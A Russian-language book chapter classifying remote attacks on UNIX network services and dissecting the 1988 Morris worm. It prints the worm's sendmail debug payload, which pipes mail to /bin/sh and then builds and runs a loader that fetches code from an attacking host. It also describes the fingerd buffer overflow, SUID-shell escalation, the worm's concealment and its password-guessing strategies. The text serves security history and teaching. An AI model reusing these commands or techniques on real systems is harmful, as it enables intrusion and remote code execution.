Удаленные атаки на телекоммуникационные службы

Интернет - это сеть UNIX-машин. Такое утверждение оказывается не совсем справедливым в наше время (когда успех и конкурентоспособность операционной системы напрямую зависит от того, насколько легко они интегрируются в Сеть), однако Internet и его прадед - ARPANET возникли именно из необходимости связать между собой UNIX-компьютеры, которые были самыми распространенными и прогрессивными в то время. UNIX-идеология наложила свой отпечаток и на все основные сетевые протоколы, которые, казалось бы, должны быть операционно-независимыми.
Поэтому большинством всех проблем, которые возникают сегодня в Сети - и особенно проблемами безопасности - мы должны быть "благодарны" UNIX. Ни в коем случае не нужно принижать значение принципов его построения для развития операционных систем, но общеизвестно, что у UNIX в ее классическом варианте слишком много проблем с безопасностью, причем эти проблемы настолько глубоки, что корректное и падежное их искоренение приведет к перерождению UNIX как таковой - это будет новая операционная система. Много пролито слез по этому поводу: "Ах, если бы разработчики UNIX уделили больше внимания безопасности", - но не следует забывать, что все концепции UNIX прорабатывались в конце 60-х годов, когда еще практически не было никакой теории компьютерной безопасности, а раз работчики и вовсе делали ее "под себя", не подозревая, насколько через несколько лет компьютерный мир станет теснее (появятся сети) и опаснее (появятся кракеры).
Поэтому естественно, что современные операционные системы (Novell Netware, Windows NT) оказываются в заведомо более выгодном положении - они разрабатывались, во-первых, с учетом ошибок UNIX, а во-вторых, они придерживаются четкой концепции клиент-сервер (не будем сейчас дискутировать об ее досто-инствах и недостатках). Однако теория безопасности гласит, что безопасность системы определяется безопасностью ее слабейшего звена, и поэтому далее мы будем рассматривать безопасность интернета именно как безопасность UNIX-систем, которых и на сегодняшней день в интернете, видимо, 70-80%. Это не означает, кстати, что остальные 20-30% хорошо защищены и атаки на них невозможны - просто эти системы на сегодняшний день гораздо меньше изучены, и совсем не исключено, что в них найдутся такие же серьезные бреши в безопасности, как в UNIX, особенно учитывая, что и фирма Novell, и Microsoft далеко не безгрешны в этом отношении.
Более того, самые последние события конца 1996 - начала 1997 года позволяют предположить, что UNIX-совместимые ОС, несмотря на печальный опыт своей предшественницы, начинают проходить тот же самый путь и совершать те же самые ошибки в обеспечении безопасности (на другом витке спирали, естественно). Так уже несбыточная сегодня мечта всех кракеров удаленно утянуть файл /etc/passwd оказывается вполне реальной даже в такой более-менее защищенной ОС, как Windows NT.

Направления атак и типовые сценарии их осуществления в ОС UNIX

Рассмотрим второй подвид атак, осуществляемых в сети - атаки на телекоммуникационные службы удаленных компьютеров. Эти компьютеры могут находиться на другом континенте или быть в соседней с вами комнате - это никак не может быть вами замечено, кроме, может быть, скорости ответа на ваши запросы.
Итак, какие же цели преследует кракер, атакующий извне ваш компьютер? Видимо, их может быть несколько:
1) получить доступ к важной информации, хранящейся у вас. О, вероятно, вы крупная компьютерная шишка и за вами серьезно охотятся (если, только конечно, этой информацией не является несколько гигабайт gif 'ов высокого разрешения);
2) получить доступ к ресурсам вашей системы. Это может быть как процессорное время (особенно если вы обладаете суперкомпьютером), так и дисковое пространство (например, для организации пиратского ftp-сайта (site). В этом случае вы не только ничего не потеряете, но и, может быть, приобретете честно сворованное программное обеспечение стоимостью много тысяч долларов):
3) иметь плацдарм для осуществления цели 1), но для атаки на другой компьютер - тогда в журналах атакованного компьютера будет значиться, что атака осуществлялась с вашего адреса. Вы, конечно, будете доказывать, что вы тут не при чем, и, вероятно, докажете это, но инцидент принесет вам несколько неприятных минут и несколько неприятных слов об уровне защиты вашего хоста:
4) как пробный шар, отладка механизмов атак на другие хосты. Ну, не расстраивайтесь, вы докажете тем самым, что вы не так уж небесполезны в сети, в отличие or других хостов, на которые никогда никто не нападал, и которые остро ощущают свою ненужность,
Теперь рассмотрим основные пути получения взломщиком несанкционированного доступа на компьютер.
Как известно, в UNIX различают два вида пользователей - обычный пользователь, имеющий права на доступ в рамках своего идентификатора (UID. user id) и членства в группе (GID, group ID) (в UNIX каждый пользователь в текущий момент может быть членом только одной группы, соответственно, он имеет один UID и один GID); а также так называемый суперпользователь (root), имеющий неограниченные права (UID и GID у него равны специальному значению 0). По мере развития среди обычных пользователей выделились так называемые специальные пользователи. Они обычно имеют зарезервированные имена (например, quest, bin, uucp и т.п.) и номера UID и GID (например, они всегда меньшие 100). Хотя нет никакого особого механизма в защите UNIX, отличающего специального пользователя от обычного можно сказать, что первый имеет еще меньшие права, чем второй. В частности, специальным пользователям обычно нельзя зайти в систему нормальным образом. Самым интересным для нас примером специального пользователя является анонимный пользователь ftp, который так и называется - anonymous или ftp.
Наконец, условно к категории пользователей можно отнести человека, удаленно подключившегося (обычно по протоколу TELNET) к вашей машине и взаимодействующего с одной из программ-демонов (в современной терминологии такие программы называются серверами). Эти программы обычно стартуют при загрузке машины, чаще всего от имени суперпользователя и всегда активны как процессы. Это позволяет пользователю в любой момент времени удаленно подключаться к ним, но при этом он не имеет никаких прав на чтение/запись информации на вашем компьютере, он вообще не идентифицируется системой UNIX (командой who). Однако он может исполнять некоторые команды - не программы UNIX. а команды-запросы к тому демону, к которому он подключен. Так, подключившись по протоколу TELNET на 25 порт, можно вводить команды SMTP-сервера, например, mail или expn. Последний тип пользователя (назовем его псевдопользователь) оказывается чуть ли не самым важным для нашего рассмотрения, т.к.. не обладая никакими правами (и обязанностями тоже, кстати от него не требуется аутентификация, учет по нему тоже не ведется), он взаимодействует с демонами, которые практически всегда имеют полномочия суперпользователя.
Итак, условно иерархию пользователей на UNIX-машине можно представить как:
0. Суперпользователь - неограниченные права.
1. Обычный пользователь - права, ограниченные ему суперпользователем.
2. Специальный пользователь - права, ограниченные ему суперпользователем для работы с конкретным приложением.
3. Псевдопользователь - нет никаких прав, он вообще не идентифицируется системой.
Очевидно, что любой пользователь интернета всегда имеет привилегии уровня 3 на вашем хосте, а также, если поддерживается соответствующий сервис, привилегии уровня 2,
Таким образом, задачей хакера будет являться несанкционированное получение привилегий более высокого уровня. (Заметим, кстати, что вовсе необязательно конечной целой хакера является получение именно привилегий суперпользователя - вирус Морриса, например, даже и не пытался сделать этого.) Эту задачу он, очевидно, может попытаться решить различными путями: либо получить сразу требуемые привилегии, либо постепенно наращивать их. Рассмотрим далее типовые сценарии их получения и средства UNIX, делающие их возможными.
1. "Сразу в дамки" - имея привилегии уровня 3, хакер получает права суперпользователя. Как уже отмечалось, такой фантастический прыжок возможен "благодаря" механизму демонов UNIX, отвечающих за обработку удаленных запросов. Т. к. эти демоны выполняются от имени суперпользователя, то все, что надо сделать псевдопользователю - это знать (существующие или найти самому) "дыры" или ошибки в этих демонах, которые позволят эксплуатировать их нестандартным или запрещенным образом. Обычно это сводится к возможности удаленно выполнить от их имени любую команду на атакуемом хосте - какую конкретно, зависит от намерений и характера хакера. Иногда это может быть создание ошибочной ситуации, приводящей к аварийному завершению демона с выдачей дампа памяти на диск, содержащий весьма полезную для хакера информацию (например, кэшированные пароли). Типичными примерами уязвимых демонов были и остаются sendmail, ftpd, fingerd. Новые демоны (типа httpd или fcalkd) имеют гораздо меньшую историю эксплуатации, соответственно, известно меньшее число их дыр и. соответственно, тем перспективнее они для поиска новых.
Такой сценарий был очень популярен на заре развития глобальных сетей, им пользовался вирус Морриса. Сейчас найти дыру такого рода в демонах очень трудно, но можно.
Хосты, допускающие атаку по этому сценарию, должны считаться катастрофически незащищенными.
2. "Из специального - в обычного или выше". Этот сценарий очень похож на описанный выше, с тем исключением, что для хакера требуются начальные привилегии уровня 2 (иначе говоря, запущен некоторый дополнительный сервис). Чтобы четко отличать эти атаки от предыдущего типа, будем требовать, что в этом случае злоумышленник всегда проходит некую (пусть примитивную) идентификацию и, возможно, аутентификацию. Это не очень серьезное допущение, большинство хостов поддерживают некоторый удобный (например, анонимный ftp) или необходимый сервис (типа tftp для удаленной загрузки бездисковых станций). Привилегии уровня 2 могут дать возможность хакеру читать некоторые файлы (например, из ~ftp/pub), и, что самое главное, записывать свои файлы на ваш компьютер (в каталог типа ~ftp/incoming). С другой стороны, т. к. Пользователь регистрируется на вашем компьютере, в его файлах-протоколах остается некоторая информация о подключении.
Типичным примером атаки по данному сценарию является атака, которая по протоколу tftp получает файл паролей /etc/passwd, и затем с его помощью подбираются пароли пользователей. Этот пример показывает, что необязательно желаемые привилегии будут получены немедленно, подобные атаки могут лишь создать предпо-сылки для их возможного получения в дальнейшем.
Хосты, допускающие подобные атаки, также должны считаться катастрофически незащищенными в случае, если используемый в них сервис нельзя отключить без ущерба функционированию системы.
3. "Маловато будет: из обычного - в суперпользова-тели". Этот сценарий, пожалуй, наиболее прост, широко распространен и подавляющее большинство сообщений о так назваемых "дырах" в UNIX относится именно к нему. Для его осуществления злоумышленник должен уже быть обычным пользователем (иногда гово-рят, что он имеет бюджет (account)) на том компьютере, который он собирается взламывать. Это, с одной стороны, серьезное ограничение на масштабность проникно-вения, с другой стороны, большинство утечек информа-ции происходит через "своих", через подкупленного сотрудника, который пусть и не имеет больших полномо-чий, но уж входное имя на секретный компьютер у него будет.
Своей осуществимостью атаки данного рода обязаны очередному недостатку безопасности UNIX, который называется механизм SUID/SGlD-процессов. Не будем сейчас подробно останавливаться на необходимости и причинах появления такого механизма в этой операци-онной системе, отметим лишь, что многим системным программам (которые могут быть запущены любым, в том числе и непривилегированным пользователем) для правильного функционирования необходимы дополни-тельный полномочия. Приведем хрестоматийный при-мер: изменения пользователем пароля самому себе. Не вызывает сомнения, что пользователь может иметь пра-во на подобную операцию, однако в терминах UNIX это равносильно наличию права на запись в общий для всех пользователей файл /etc/passwd, что, очевидно, недо-пустимо- Поэтому программа, осуществляющая смену пароля пользователя, выполняется не от имени запус-тившего его пользователя, а от имени суперпользователя (который, естественно, имеет право на запись в файл /etc/passwd). Для этого она обладает специальным ат-рибутом SUID/SGID, означающего смену идентификато-ра пользователя и/или группы у запущенного процесса.Эта, безусловно нарушающая исходную модель разграничения доступа, особенность UNIX была бы "нехо-рошей". будь она всего у одной программы passwd. Од-нако оказывается, что этот атрибут необходим целому множеству программ, порой очень сложных. Отсюда яс-но, что злоумышленник, найдя ошибку в одной из про-грамм, обладающей атрибутом SUID root, может от ее (т.е. суперпользователя) имени произвести некоторые действия. Стандартным приемом считается копирование файла с командным интерпретатором (sh или csh) и ус-тановка на него атрибута SUID root. Таким образом, злоумышленник имеет под рукой стандартную програм-му sh, но все команды в ней он исполняет от имени су-перпользователя.
Ошибки в SUID/SGID-программах находятся регу-лярно, с частотой несколько раз в месяц. Следуя одной из основных аксиом программирования, можно сделать вывод, что эти ошибки будут находиться всегда. Соот-ветственно, многие защищенные версии UNIX стремятся обезопасить себя от атак такого рода, сильно модифи-цировав или вообще уйдя от SUID/SGID-механизма.
Внимательный читатель заметил, что этот сценарий, вообще говоря, не является удаленной атакой по опреде-лению (и не будет подробно рассматриваться в приме-рах), но введен в классификацию из-за своей масштабно-сти и фундаментальности причины - механизма SUID/SGID-процессов. Поскольку любая система UNIX (использующая этот механизм) является уязвимой, то хосты, которые подвержены атакам такого класса, будем называть потенциально незащищенными.
4. "Он слишком многим доверял". Взлом производит обычно псевдопользователь, повышая свои полномочия до обычного, с использованием механизма доверия. Термин "доверие", также оказывающийся одной из важ-нейших брешей в безопасности UNIX, пришел из тех да-леких времен, когда компьютерные системы хотели до-верять друг другу. "Доверие" употребляется всякий раз, когда возникает ситуация, в которой хост может позво-лить пользователю (как правило удаленному) использо-вать локальные ресурсы без аутентификации (ввода пароля).
В UNIX существует много подсистем, использующих доверие. Наиболее простой и часто применяемой (даже против такого мастера, как Шимомура) из них являются так называемые г-службы (remote, "удаленные"). При наличии файлов .rhosts и hosts.equiv, содержа-щих имена хостов, доступ с них возможен без указания пароля. Аналогично построены на механизме доверия, например, NFS-сервера, в управляющих (export) файлах которых можно разрешить доступ к некоторому катало-гу для группы пользователей, в том числе и всем (everyone). Как подчеркивал В. Венема в своей статье, "любая форма доверия может быть подменена, обманута или разрушена, особенно когда служба, получающая за-просы на проверку клиента, расположена вне сервера, или когда механизм доверия основан на слабой форме аутентификации".
Обычно доступ к системе по данному сценарию воз-можен только при неправильных настройках соответст-вующих файлов (не будем сейчас подчеркивать, что эти настройки также могут быть внесены злоумышленником сознательно - см. атаку Митника), поэтому хосты, подверженные атакам этого класса, будем назы-вать "слишком доверчивыми" или административно не-защищенными.
Итак, подводя итог, повторим те механизмы и осо-бенности UNIX, которые делают возможным удаленные атаки на телекоммуникационные службы. Это, в первую очередь, механизм SUID/SGID-процессов, относительно легко позволяющий обычному пользователю получить привилегии другого пользователя или группы. Во-вто-рых, это наличие демонов (в современных ОС они назы-ваются серверными программами), обеспечивающих об-работку удаленных запросов. Поскольку они обычно за-пускаются от имени суперпользователя, то при непра-вильном функционировании его права могут быть полу-чены удаленным пользователем. Наконец, это широкое использование механизма доверия, который может быть обманут удаленным пользователем.

Начало, или до червя

Вначале был хаос и анархия. Интернет только за-рождался, глобальных сетей практически не было, ба-зовые протоколы TCP/IP только появлялись и стандар-тизовались, аналогично в самом начале развития были все UNIX-службы, программы еще были сырыми и не отлаженными. Причем этот процесс развития происхо-дил стихийно, независимо в разных местах, на разных версиях UNIX, потом наиболее удачные начинания рас-пространялись, сталкивались со своими конкурентами, переделывались и т. д. Весь этот процесс стандартиза-ции сопровождался неизбежными компромиссами, осо-бенно в системе безопасности, т. к. основными принци-пами UNIX всегда являлись простота, гибкость и пере-носимость - а они часто противоречат безопасности.
Нынешние кракеры, наверно, кусают себе локти, что они родились не на 10 лет раньше - ведь в то вре-мя хакером мог прослыть тот, кто умел методично пе-ребирать адреса компьютеров и вводить в качестве имени и пароля что-нибудь типа guest/guest. Види-мо, большинство хостов (в том числе и военные - в то время возможность проникновения в секретные хосты еще не являлась мифом) и вскрывались таким образом. Были известны стандартные входные имена, присутст-вующие в операционной системе при ее инсталляции.
Особо продвинутые кракеры, наверное, догадыва-лись вводить в качестве паролей наиболее распростра-ненные имена, жаргонные словечки и т. п.
Интересно заметить, что большинство средств защиты многих современных ОС наиболее успешно борется именно с таким примитивным классом атак, называя это громкими словами "обнаружение нарушителей" (intruder detection) и т. п. В ОС обычно принята задержка в не-сколько секунд после набора неправильного пароля, а также ограничение максимального числа неправильно набранных паролей подряд. Эти меры не позволяют взломщику удаленно перебирать быстро пароли (естест-венно, что сегодня, если хакер и будет заниматься пере-бором, то не в реальном времени). Но, видимо, в те да-лекие годы не было даже таких мер.

Червь

Перейдем к подробному рассмот-рению не только самого известного случая нарушения безопасности Сети, но и самого крупного инцидента в области компьютерной безопасности вообще - вируса Морриса {Internet worm}. Более того, он представлял со-бой не просто единичное вторжение в некоторый ком-пьютер, а дал ответ на давний вопрос, могут ли не в аб-страктных условиях существовать саморепродуцирую-щиеся программы (то, что теоретически это возможно. признавалось почти всеми). А подтвердив возможность создания такой программы, этот инцидент дал толчок к появлению целой отрасли компьютерной безопасно-сти- компьютерной вирусологии (к тому времени уже существовали единичные вирусы и на персональных компьютерах - саморепродуцирующиеся в пределах одного компьютера).
Остается открытым (исходя, как мы увидим в даль-нейшем, из существования схожих проблем безопасности UNIX и в наши дни) вопрос, почему же по сей день из-вестен только один пример сетевого червя. Видимо, дело в том, что в странах с развитой компьютерной и сетевой инфраструктурой на сегодняшний день действует (во многом, кстати, вследствие вируса Морриса) очень же-сткое законодательство против компьютерных преступ-лений такого рода (тем более, что написание червя не приносит никакой материальной выгоды - только со-мнительную известность), а в странах, где подобные за-коны отсутствуют, отсутствует также и доступ широких кракерских масс к глобальным компьютерным сетям. Отсюда можно сделать вывод, что в ближайшем буду-щем, когда распространенность сетей достигнет необхо-димого уровня, нас ждут примеры новых сетевых червей. сделанных хакерами этих стран, и Россия здесь может занять одно из первых мест, учитывая, что за последние годы именно она давала наибольший процент мировых компьютерных вирусов.
К 1988 году интернет как глобальная сеть уже прак-тически сформировался, и практически все услуги сего-дняшнего дня (кроме WWW) использовались и тогда. С другой стороны, в хакерских и околохакерских кругах скопилось достаточно информации о брешах в системах безопасности и способах несанкционированного про-никновения в удаленные компьютеры. Критическая мас-са была накоплена, и она не могла не взорваться.
Итак, в начале ноября 1988 г. Сеть была атакована так называемым сетевым червем, впоследствии получившим в русскоязычной литературе название ".вирус Морриса" по имени его создателя - студента Корнельского универси-тета Роберта Морриса-младшего. Сетевым червем назы-вают разновидность компьютерных вирусов, имеющих способность к самораспространению в локальной или глобальной компьютерной сети. Для этого червь должен обладать несколькими специфическими процедурами:
- нахождения новых целей для атаки:
- собственно проникновения в них;
- передачи своего кода на удаленную машину;
- запуска (получения управления) на ней;
- проверки на зараженность локальной или удален-ной машины для ее повторного незаражения.
Правовые вопросы и последствия запуска червя рас-сматривались в главе 1, а теперь мы опишем подробно структуру, механизмы и алгоритмы, им применяемые. Было решено свободно распространять их, в отличие от исходных текстов, полученных в результате дизассемб-лирования. Однако по истечении 9 лет такое ограниче-ние потеряло свою актуальность (воспользоваться сего-дня ими все равно не удастся", и они могут быть найдены в интернете.

Стратегии, используемые вирусом

Для проникновения в компьютеры вирус использо-вал как алгоритмы подбора пароля, так и "дыры" в различных коммуни-кационных программах, которые позволяли ему полу-чать доступ без предъявления пароля. Рассмотрим под-робнее эти "дыры".

Отладочный режим в программе Sendmail

Вирус использовал функцию "debug" программы sendmail. которая устанавливала отладочный режим для текущего сеанса связи. Отладочный режим обладает некоторыми дополнительными возможностями, такими как возможность посылать сообщения, снабженные программой-получателем, которая запускается на удаленной машине и осуществляет прием сообщения. Эта возможность, не предусмотренная протоколом SMTP. использовалась разработчиками для отладки программы, и в рабочей версии была оставлена по ошибке. Таким образом, налицо типичный пример атаки по сценарию 1.
Спецификация программы, которая будет выполняться при получении почты, содержится в файле псевдонимов (aliases) программы sendmail или в пользовательском файле . forward. Эта спецификация используется программами, обрабатывающими или сортирующими почту, и не должна применяться самой программой sendmail. В вирусе эта программа-получатель содержала команды, убирающие заголовки почты, после чего посылала остаток сообщения командному интерпретатору. который создавал, компилировал и выполнял программу на языке Си. служившую "абордажным крюком", и та. в свою очередь, принимала оставшиеся модули из атакующей машины. Вот что передавал вирус через SMTP-соединение:
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ;exit 0">
data
cd /usr/tmp
cat > x14481910.c <<'EOF'
<текст программы ll.c>
EOF
cc -о Х14481910 xl4481910.c;xl4481910
128.32.134.16 32341 8712440; rm -f xl4481910
xl4481910.c.
quit
Вирус заражал компьютеры двух типов - VAX и Sun, поэтому пересылались двоичные коды для той и другой архитектуры, оба запускались, но исполняться мог только один. В компьютерах других архитектур (не VAX и Sun) программы не могли функционировать, хотя и поглощали системные ресурсы в момент компиляции.

Ошибка в демоне Fingerd

Другой изъян, также относящийся к типовому сценарию 1, который позволял вирусу распространяться, находился в программе fingerd. Данная программа содержала в себе фрагмент кода примерно следующего вида:
{ char buf [100] ;
.......
gets (buf);
.......
}
Проверка переполнения буфера в ней не осуществлялась. Так как буфер был в стеке, то переполнение позволяло создавать в стеке фрагмент кода и изменять адрес возврата из процедуры таким образом, что при возврате управление передавалось на этот код. Вирус передавал специально подготовленную строку из 536 байт, которая вызывала в конечном итоге функцию execve ("/bin/sh", 0/ 0). Таким способом атаковались только машины VAX с операционной системой 4.3BSD; на компьютерах Sun, использующих SunOS, такие атаки терпели неудачу.

Удаленное выполнение и подбор паролей

Вирус использовал протокол удаленного выполнения программ (rexec), который требовал для выполнения программы на удаленной машине только имя пользователя и незашифрованный пароль. Программа применяла для этого имена пользователей локального (атакующего) хоста, используя тот факт, что многие пользователи имеют одинаковые имена и пароли на всех машинах в сети. Эта, как и следующая, атака относится уже к сценарию 4.

Удаленный командный интерпретатор и доверенные хосты

Вирус пытался использовать программу запуска удаленного интерпретатора (rsh) для атаки других машин либо с полученным именем и паролем текущего пользователя, либо вообще без аутентификации, если атакуемая машина доверяет данной. (Файлы /etc/hosts.equiv и .rhosts содержат список машин, "доверяющих" данной, т. е. доступных для запуска rsh с данной машины.) Он пробовал три различных имени для rsh:
/usr/ucb/rsh;
/usr/bin/rsh;
/bin/rsh.
Удаленный интерпретатор по своей функции напоминает программу удаленного исполнения, но обладает более дружественным интерфейсом, так как дистанционно запускается командный интерпретатор, а не функция exec.

Маскировка действий вируса

Вирус осуществлял ряд мер для сокрытия своих действий:
- стирался список аргументов по окончании их обработки, поэтому команда ps не могла показать, каким образом были вызваны вирусные программы;
- исполняемые файлы вируса после своего запуска немедленно уничтожались, и нельзя было понять, откуда появился процесс. Если зараженная машина перезагружалась в процессе исполнения вируса, то специальная программа автоматически восстанавливала файл после перезагрузки;
- размер аварийного дампа устанавливался равным нулю. Если программа аварийно завершалась, то она не оставляла после себя никаких следов. Также отключались сообщения об ошибках;
- вирус был скомпилирован под именем sh, такое же имя использовалось командным интерпретатором Bourne Shell, который часто используется в командных файлах. Даже старательный администратор системы не замечал увеличения числа интерпретаторов, функционирующих в системе, или не придавал этому значения;
- вирус размножался, ветвясь на два процесса (родитель и потомок), примерно каждые три минуты. Процесс-родитель после этого завершался, а процесс-потомок продолжал работать. Это имело эффект "обновления" процесса, так как для нового процесса учет используемых ресурсов начинался с нуля. Кроме того, эта мера затрудняла обнаружение вируса;
- все текстовые строки, используемые вирусом, были закодированы с помощью операции "исключающие или" - XOR 81H. Это. конечно, слабый метод, но он позволил скрыть важные текстовые строки, например, имена открываемых вирусом файлов.

Ошибки в коде вируса

Вирус содержал некоторое количество ошибок - от очень тонких и почти не влияющих на его работу, до грубых и неуклюжих. Остановимся на них подробнее.

Предотвращение повторного заражения

Участок кода для предотвращения повторного заражения содержал много ошибок. Это имело решающее значение, т. к, из-за того, что многие машины заражались повторно, нагрузка на системы и сеть увеличивалась и становилась весьма ощутимой (некоторые машины даже не могли с ней справиться).
Вирус, "проверяющий" наличие других вирусов, пытался связаться с портом 23357 для того, чтобы установить контакт с "отвечающим" вирусом. Если это не удавалось, вирус предполагал, что других вирусов нет, и сам становился "отвечающим".
Если связь устанавливалась, "проверяющий" посылал магическое число 8865431 и в течение 300 секунд ожидал другое магическое число 1345688. Если число было неверным, "проверяющий" разрывал связь.
Затем он выбирал случайное число и посылал "отвечающему". После этого, в течение 10 секунд, он ожидал возврата этого числа, после чего складывал его с посланным. Если сумма была четным числом, то "Проверяющий" устанавливал значение переменной Pleasequit. Иначе говоря, каждый раз из двух вирусов один "смертник" выбирался случайно.
После окончания (успешного или неудачного) сеанса связи "проверяющий" "засыпал" на 5 секунд и пытался стать "отвечающим". Для этого он создавал TCP сокет. устанавливал его параметры для межпроцессной связи и подключал его к порту 23357.
Этот код содержал столько ошибок, что вызывает удивление тот факт, что он вообще работал. Он завершался с ошибкой при следующих условиях:
- если несколько вирусов заражали чистую машину одновременно, то они так же одновременно пытались найти остальных в режиме "проверяющих". Так как никто не мог их найти, они постепенно переключались в режим ожидания сообщения и один из них получал его, а остальные прекращали попытки связаться друг с другом и не отвечали на запросы;
· если несколько вирусов одновременно стартовали в присутствии другого уже работающего вируса. то только одному из них удавалось связаться с активным вирусом, остальные не могли этого сделать;
- если машина работала медленно или была сильно загружена, то это могло привести к исчерпанию вирусом лимита времени, отпущенного на установление связи с другими вирусами, что приводило к прекращению обмена.
Заметим, что здесь выражение "одновременно" подразумевает 5-20 секундный промежуток.
Критичная ошибка содержалась в коде, когда вирус решал, что должен завершиться. Все, что он делал - это устанавливал переменную pleasequit. Эта не давало эффекта до тех пор, пока вирус не:
- собрал список имен машин для их атаки;
- собрал список имен пользователей;
- осуществил перебор всех "очевидных" паролей и не попробовал 10 случайно взятых паролей из своего словаря.
Так как вирус удалял все временные файлы, то его присутствие в машине не мешало ее повторному заражению.
Многократно зараженные машины распространяли вирус быстрее, возможно пропорционально числу копий вируса на машине, т. к.:
- вирус перемешивал списки имен машин и пользователей, которые собирался атаковать, используя генератор случайных чисел, зависящий от системного времени. Разные копии получали разные случайные числа и атаковали разные объекты;
- вирус проводил много времени, ожидая сообщений от других вирусов, поэтому вирусы не конфликтовали между собой, запрашивая системные ресурсы. Таким образом, вирус распространялся гораздо быстрее, чем это ожидал автор, и был обнаружен именно по этой причине.

Использование эвристического подхода для определения целей

Чтобы не тратить время, пытаясь заразить не UNIX-систему. вирус иногда пытался установить связь с предполагаемой мишенью с помощью telnet или rsh; если это не удавалось, то вирус и не пытался ее заразить. Благодаря этому некоторые системы избежали заражения, т. к., хотя и поддерживали электронную почту, но отказывали в доступе telnet или rsh.

Неиспользуемые возможности вируса

Вирус не использовал некоторые очевидные возможности:
o при поиске списка мишеней для атаки он мог бы использовать службу DNS для поиска имен машин. подключенных к сети. Эта информация обычно включает также тип машины и ОС, что ограничивает список целей:
o он не атаковал последовательно оба типа машин, Если VAX-атака терпела неудачу, он мог бы предпринять Sun-атаку, но не делал этого;
o он не пытался найти привилегированных пользователей на локальной машине.

Имена

Ядро вируса состоит из двух бинарных модулей:
один для машин VAX-архитектуры, другой для Sun-архитектуры. Это объектные файлы, содержащие списки имен своих внутренних процедур,
Удивительно, что эти имена осмысленны (например, doit или cracksome), ведь такой простой метод, как случайный выбор имен процедур, мог бы сильно усложнить анализ вируса.

Обработка аргументов командной строки

Вирус мог запускаться с аргументом "-p NNN". где NNN - десятичное число, которое является идентификатором породившего процесса. Впоследствии вирус использовал это число для удаления данного процесса с целью "заметания следов".
Остальные аргументы командной строки являлись именами файлов, которые он пытался загрузить. Если не удавалось загрузить хотя бы один из них, вирус заканчивал работу. Если был задан аргумент "-р NNN", то он так же стирал файлы и потом пытался уничтожить свой образ на диске.
Затем вирус предпринимал следующие действия (причем, если какие-то из них терпели неудачу, он завершался):
o проверял, что был задан хотя бы один файл в командной строке;
o проверял, был ли успешно загружен файл ll.с.
Если была задана опция "-р", программа закрывала все файлы, открытые породившим процессом.
Затем стирался массив аргументов для маскировки способа запуска вируса.
Вирус сканировал все сетевые интерфейсы, получал статус и адреса каждого интерфейса.
Вирус уничтожал процесс, заданный опцией "-р NNN" и перед этим менял группу (GID) текущего процесса, чтобы не погибнуть вместе с ним.
Если все эти действия заканчивались удачно, далее он выполнял процедуру doit, которая совершала остальную работу.

Процедура doit

Процедура doit состоит из двух частей - инициализации и основного цикла.

Инициализация процедуры doit

В ней инициализируется генератор случайных чисел: кроме того, вирус сохраняет время для последующего определения того, как долго он работал в системе.
Затем вызывается процедура hg. Если она оканчивается неудачно, вызывается процедура ha.
После этого с вероятностью шесть седьмых (это было сделано специально) проверяется, существует ли на данной машине работающая копия вируса.
На последнем этапе процедура инициализации должна была по замыслу автора посылать байт по адресу 128.32.137.13, соответствующему ernie.berkeley.edu, в порт 11357. Такое никогда не происходило. так как автор неправильно использовал вызов функции.

Основной цикл процедуры doit

Это бесконечный цикл, содержащий наиболее активные компоненты вируса, В нем вызывается процедура cracksome, пытаящющаяся найти компьютеры, в которые можно проникнуть- Затем, после 30-секундного ожидания, во время которого происходит попытка связаться с другими вирусами, вирус пытается проникнуть в другие машины.
После осуществления атак он разветвляется, создавая две копии. Первоначальная (процесс-родитель) уничтожается, оставляя процессу-потомку всю информацию.
Затем процедуры hd. hi и ha ищут машины для заражения, и программа ждет еще 2 минуты.
Наконец, перед возвратом на начало цикла, проверяется значение глобальной переменной pleasequit. Если она установлена и если вирус уже перебрал более 10 слов из собственного словаря паролей, вирус завершает работу. Таким образом, принудительная установка pleasequit не дает эффекта моментального завершения всех вирусов.

Процедуры подбора пароля

Эти процедуры являются "мозгом" вируса. Cracksome процедура, применяющая различные стратегии для проникновения в систему путем подбора паролей пользователей. Автором допускалось добавление новых стратегий в случае последующего развития вируса. Вирус последовательно пробует каждую стратегию.

Фаза 0

Это предварительный этап, на котором определяется список возможных мишеней для атаки (имена и сетевые адреса компьютеров, имена и пароли пользователей).
На этом этапе читается файл /etc/hosts.equiv в поисках имен машин, которые могли бы быть заражены. Этот файл содержит информацию о том. какие машины доверяют данной. Логично предположить, что пользователи данной машины могут быть пользователями машин из этого списка.
После этого читается файл .rhost, представляющий собой список машин, которым данная машина доверяет привилегированный доступ. Заметим, что это не дает возможности получения доступа к удаленной машине и может служить только в качестве возможного адреса для атаки. Часто системные администраторы запрещают доступ к этому файлу, из-за чего вирус не мог его прочитать, хотя rhosts очень часто является частью /etn/hosts.equiv.
В заключении фазы 0 вирус читает файл паролей /etc/passwd. Информация из этого файла используется для нахождения персональных forward-файлов, и те просматриваются с целью поиска имен машин, которые можно атаковать. Кроме того, запоминаются имена пользователей, зашифрованные пароли и информационные строки GECOS, хранящиеся в файле /etc/passwd. После того, как вирус просканировал весь файл, он переходит к перебору стратегий.

Стратегия 1

Это самая простая стратегия, способная определить только примитивные пароли. В качестве пароля предлагаются следующие варианты (для примера возьмем строчку из файла etc/passwd
user: encrypted password: 100:5 :Last First:/usr/user:/bin/sh ):
- пароль вообще отсутствует;
- в качестве пароля берется входное имя пользователя (user);
- то же, но прочитанное справа налево (resu):
- пароль представляет собой двойной повтор имени пользователя (useruser):
- имя или фамилия пользователя (Last. First);
- то же. но в нижнем регистре (last. Urst).
Все эти атаки применялись к 50 паролям, накопленным во время фазы 0. Так как вирус пытался угадать пароли всех пользователей, он переходил к стратегии 2.

Стратегия 2

Стратегия 2 использует внутренний список из 432 возможных паролей, являющихся, с точки зрения автора вируса, наиболее подходящими кандидатами на эту роль. В цикле проверки проверяется значение неременной pleasequit, чтобы перед выходом вирус проверил не менее 10 вариантов. Список содержится в закодированном виде (установлен старший бит) и перемешивается в начале проверки для того, чтобы пароли подбирались в случайном порядке.
Когда список слов исчерпан, вирус переходит к стратегии 3.

Стратегия 3

Эта стратегия использует для подбора пароля файл /usr/dict/words, содержащий около 24000 слов и используемый в системе 4.3BSD (и других UNIX системах) как словарь .тля проверки орфографии. Если слово начинается с прописной буквы, то также проверяется и вариант со строчной буквой.

Процедуры поиска удаленных машин

Это набор процедур с начинающимися на "h" именами, выполняющих задачу поиска имен и адресов удаленных машин.
